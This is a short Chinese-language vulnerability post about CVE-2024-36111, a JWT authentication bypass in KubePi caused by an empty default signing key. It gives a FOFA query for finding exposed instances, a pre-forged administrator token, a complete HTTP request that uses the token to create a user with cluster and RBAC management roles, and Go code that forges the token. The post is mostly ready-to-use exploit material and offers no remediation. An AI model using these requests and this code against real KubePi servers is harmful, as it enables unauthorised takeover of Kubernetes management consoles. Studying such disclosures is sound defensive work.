KubePi存在JWT验证绕过漏洞(CVE-2024-36111)
kubepi jwttoken 校验存在缺陷，默认配置文件中jwt密钥为空，虽然读取配置文件相关逻辑中检测到密钥为空时，会生成一个随机32位字符串覆盖配置文件中的密钥，但是实际校验时，密钥为空，使用空密钥生成jwttoken可绕过登录校验，可直接接管后台
fofa
"kubepi"poc
使用空密钥生成jwt token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfSwiaWF0IjoxNzE2NDQ3MDEyLCJleHAiOjE3MjI0NDcwMTJ9.dedNLwXZu0JY1sgGBCRZmpFvAnLdHjxdPmKWXA7LCf4使用生成的密钥创建用户tang
POST /kubepi/api/v1/users HTTP/1.1
Host: 127.0.0.1:9982
Content-Length: 248
sec-ch-ua:
Accept: application/json, text/plain, */*
lang: zh-CN
Content-Type: application/json
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
sec-ch-ua-platform: ""
Origin: http://127.0.0.1:9982
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9982/kubepi/user-management/users/create
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfSwiaWF0IjoxNzE2NDQ3MDEyLCJleHAiOjE3MjI0NDcwMTJ9.dedNLwXZu0JY1sgGBCRZmpFvAnLdHjxdPmKWXA7LCf4
Connection: close
{"apiVersion":"v1","kind":"User","name":"tang","roles":["Common User","Manage Image Registries","Manage Clusters","Manage RBAC"],"nickName":"tang","email":"tang@qq.com","authenticate":{"password":"12345678@Tang"},"mfa":{"enable":false,"secret":""}}
生成jwt token程序
package main
import (
"fmt"
"github.com/kataras/iris/v12/middleware/jwt"
"time"
)
var jwtMaxAge = 100000 * time.Minute
type UserProfile struct {
Name string `json:"name"`
NickName string `json:"nickName"`
Email string `json:"email"`
Language string `json:"language"`
ResourcePermissions map[string][]string `json:"resourcePermissions"`
IsAdministrator bool `json:"isAdministrator"`
Mfa Mfa `json:"mfa"`
}
type Mfa struct {
Enable bool `json:"enable"`
Secret string `json:"secret"`
Approved bool `json:"approved"`
}
func main() {
jwtSigner := jwt.NewSigner(jwt.HS256, "", jwtMaxAge)
test := map[string][]string{}
profile := UserProfile{
Name: "admin",
NickName: "Administrator",
Email: "support@fit2cloud.com",
Language: "zh-CN",
ResourcePermissions: test,
IsAdministrator: true,
Mfa: Mfa{
Secret: "",
Enable: false,
Approved: false,
},
}
nonejwt, _ := jwtSigner.Sign(profile)
fmt.Println(string(nonejwt))
}